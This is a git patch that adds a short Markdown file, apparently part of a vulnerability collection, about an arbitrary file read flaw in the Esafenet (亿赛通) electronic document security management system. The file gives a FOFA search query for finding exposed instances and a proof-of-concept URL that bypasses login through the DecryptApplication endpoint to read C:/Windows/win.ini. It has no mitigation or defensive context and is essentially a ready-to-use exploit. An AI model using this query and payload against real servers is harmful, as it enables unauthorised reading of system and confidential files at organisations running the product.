From c6449babc0673cfee4686f40dd6663da6b24debb Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Thu, 14 Mar 2024 16:03:50 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E4=BA=BF=E8=B5=9B=E9=80=9A=E7=94=B5?= =?UTF-8?q?=E5=AD=90=E6=96=87=E6=A1=A3=E5=AE=89=E5=85=A8=E7=AE=A1=E7=90=86?= =?UTF-8?q?=E7=B3=BB=E7=BB=9FDecryptApplication=E5=AD=98=E5=9C=A8=E4=BB=BB?= =?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E8=AF=BB=E5=8F=96=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...档安全管理系统DecryptApplication存在任意文件读取漏洞.md | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞.md diff --git a/亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞.md b/亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞.md new file mode 100644 index 0000000..b7e31ce --- /dev/null +++ b/亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞.md @@ -0,0 +1,11 @@ +## 亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞 + +## fofa +``` +app="亿赛通电子文档安全管理系统" +``` + +## poc +``` +http://ip/CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:///Windows/win.ini&uploadFileId=1&fileName1=test1111 +```